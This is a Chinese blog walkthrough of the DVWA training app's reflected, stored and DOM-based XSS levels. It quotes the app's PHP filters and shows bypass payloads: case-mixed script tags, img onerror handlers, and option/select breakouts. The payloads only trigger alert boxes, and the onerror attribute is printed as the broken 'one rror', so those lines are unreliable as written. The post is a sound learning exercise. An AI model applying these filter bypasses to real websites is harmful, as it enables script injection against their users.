首页 > 其他分享 >dvwa xss通关

dvwa xss通关

时间:2023-08-27 15:32:28浏览次数:32  
标签:xss name dvwa GLOBALS mysqli ___ 通关

反射型XSS通关

low难度

选择难度:

dvwa xss通关_php

直接用下面JS代码尝试:

<script>alert(/xss/)</script>

通关成功:

dvwa xss通关_mysql_02

medium难度

直接下面代码尝试后失败

<script>alert(/xss/)</script>

发现这段代码直接被输出:

dvwa xss通关_php_03

尝试修改<script>标签的字母大小写,做大小写绕过:

<scRipt>alert(/xss/)</scRipt>

通关成功:

dvwa xss通关_php_04

high难度

查看源码,做代码审计:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

?>

发现源码中用preg_replace函数和正则过滤了任意script字符,并且防大小写,这时候可以用onerror事件,由于引用的链接是错误的,所以onerror事件会返回错误信息alert(/xss/)>,并加载一个错误的图片:

<img src = 1 one rror=alert(/xss/)>

通关成功:

dvwa xss通关_php_05

存储型XSS通关

low难度

直接用下面代码尝试

<script>alert(/xss/)</script>

如图:

dvwa xss通关_大小写_06

通关成功:

dvwa xss通关_php_07

medium难度

查看源码,做代码审计:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = strip_tags( addslashes( $message ) );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = str_replace( '<script>', '', $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

trim() 方法用于删除字符串的头尾空白符

strip_tags() 函数剥去字符串中的 HTML 标签

htmlspecialchars()函数将><单引号双引号做HTML实体化

发现

$message = trim( $_POST[ 'mtxMessage' ] );
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );

$name = trim( $_POST[ 'txtName' ] );
$name = str_replace( '<script>', '', $name );

对message删除空格、剥离HTML标签并把特殊字符实体化(message输入框不能注入),对name删除空格和替换<scrip>为空,但没有过滤大小写,可以在name中做代码的大小写绕过:

<scRipt>alert(/xss/)</scRipt>

由于name的字符长度有限制,可以在源码中进行修改:

dvwa xss通关_mysql_08

通关成功:

dvwa xss通关_大小写_09

high难度

查看源码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = strip_tags( addslashes( $message ) );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

发现这一关比上一关多了对name的正则匹配过滤大小写和script任意字符:

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

用onerror事件即可:

<img src = 1 one rror=alert(/xss/)>

通关成功:

dvwa xss通关_mysql_10

DOM型XSS通关

low难度

打开后发现没有输入框,只有一个选择语言的选项:

dvwa xss通关_php_11

打开hackbar,在URL中输入

<script>alert(/xss/)</script>

通关成功:

dvwa xss通关_php_12

medium难度

查看源代码,做代码审计:

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
	$default = $_GET['default'];
	
	# Do not allow script tags
	if (stripos ($default, "<script") !== false) {
		header ("location: ?default=English");
		exit;
	}
}

?>

stripos函数:查找 双引号中的字符在字符串中第一次出现的位置

发现这关对script标签有一个过滤,所以不用script标签

尝试输入

<img src = 1 one rror=alert(/xss/)>

并查看页面的前端代码,发现它输出中有一个标签闭合,还有一个</select>标签:

dvwa xss通关_大小写_13

我们需要让<option标签提前闭合,并加一个<select标签才能输出我们需要的代码并出现弹窗:

/option><select><img src = 1 one rror=alert(/xss/)>

通过成功:

dvwa xss通关_mysql_14

high难度

查看源代码:

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

	# White list the allowable languages
	switch ($_GET['default']) {
		case "French":
		case "English":
		case "German":
		case "Spanish":
			# ok
			break;
		default:
			header ("location: ?default=English");
			exit;
	}
}

?>

array_key_exists:查找键名(数组元素名)是否存在数组中

is_null函数:用于检测变量是否为 NULL

这段代码中的if语句将所有输入的字符全部过滤,这时候只要将语句注释,让后端代码接收即可:

#<script>alert(/xss/)</script>

通关成功:

dvwa xss通关_大小写_15

标签:xss,name,dvwa,GLOBALS,mysqli,___,通关
From: https://blog.51cto.com/u_16227132/7253303

相关文章

  • xsschallenge通关(11-15)
    level11老规矩,先查看源码,做代码审计:<?phpini_set("display_errors",0);$str=$_GET["keyword"];$str00=$_GET["t_sort"];$str11=$_SERVER['HTTP_REFERER'];$str22=str_replace(">","",$str11);$str33=st......
  • xsschallenge通关(1-10)
    level1这一关很简单,标准的xss注入,打开hackbar,输入<script>alert(/xss/)</script>点击EXECUTE,通关!level2这一关有一个搜索框,输入<script>alert(/xss/)</script>发现直接将这段JS代码当做HTML实体,即普通字符查看源代码,发现有htmlspecialchars()函数,会转换双引号、单引号和尖角号成H......
  • 利用svg标签绕过xss校验
    SVG中的<use>元素用于重用其他元素,主要用于联接<defs>和alike,而我们却用它来引用外部SVG文件中的元素元素通过其id被引用,在<use>标签的xlink:href属性中以'#'井字符开头,外部元素的引用同样如此基本结构如下所示: test.html<svg><usexlink:href='external.svg#rectangle'/></......
  • iwebsec-xss 01 反射型xss
    01、题目分析反射型跨站脚本攻击本质上是构造恶意连接的形式,诱导用户打开,由于链接内所携带的参数会回显于页面中或作为页面的处理数据源,最终造成XSS攻击。02、xss这一题已经提示是反射型xss了,而且还有提示,可以注入的参数为name,所以直接在参数值中输入js代码即可?name=<script......
  • iwebsec-xss 02 存储型xss
    01、题目分析存储型xss是将js代码存储在服务器端,当用户访问网页的时候,就会执行js代码,常见于留言板等功能模块02、xss这一题已经提示是存储型ss了,而且还有输入框,所以直接在输入框中输入js代码即可<script>alert(1)</script>可以发现js代码被成功执行了03、源码分析</form......
  • iwebsec-xss 03 DOM型xss
    01、题目分析DOM型比较与存储型不一样的是,存储型是将js代码存放在数据库中,而dom型是在客户端插入恶意代码,不涉及后端02、xss查看前端代码可以发现,有一个domxss函数,这段代码的作用是获取id为"input"的元素的值,并将其设置为id为"output"的元素的innerHTML属性所以直接在输入框......
  • iwebsec-xss 04 xss修复示例
    01、题目分析这一题就不是解题了,是教如何实现防范xss漏洞的,因此我们重点分析源码,是如何实现防范xss的02、xss按照第一关的xss方式去访问,可以明显发现没有出弹窗,而是把js代码作为文字输出到界面上03、源码分析<?phprequire_once'../header.php';?><html> <head> <titl......
  • 面试成功“通关”六大诀窍
    面试成功“通关”六大诀窍2008年06月16日11:48  点击:[128]【责任编辑】应聘者在接受面试时,关键是要掌握一些简单的方法,遵循一些基本的原则,这样才能给面试考官留下一个好印象。让我们通过一些简约而不简单的实例,来印证专家们的真知灼见吧!亲友团:“不带为妙”例:李梅是独生......
  • XSS攻击是什么?它有哪些类型?
    xss攻击是什么?XSS全称是CrossSiteScripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。作为一种HTML注入攻击,XSS攻击的核心思想就是在HTML页面中注入恶意代码,而XSS采用的注入方式是非常巧妙的。在XSS攻击中,一般有三个......
  • burpsuite靶场----XSS----DOM型XSS4----hashchange
    burpsuite靶场----XSS----DOM型XSS4----hashchange靶场地址https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-selector-hash-change-eventXSS字典链接:https://pan.baidu.com/s/1XAJbEc4o824zAAmvV85TOA提取码:1234正式开始1.查看html源码,......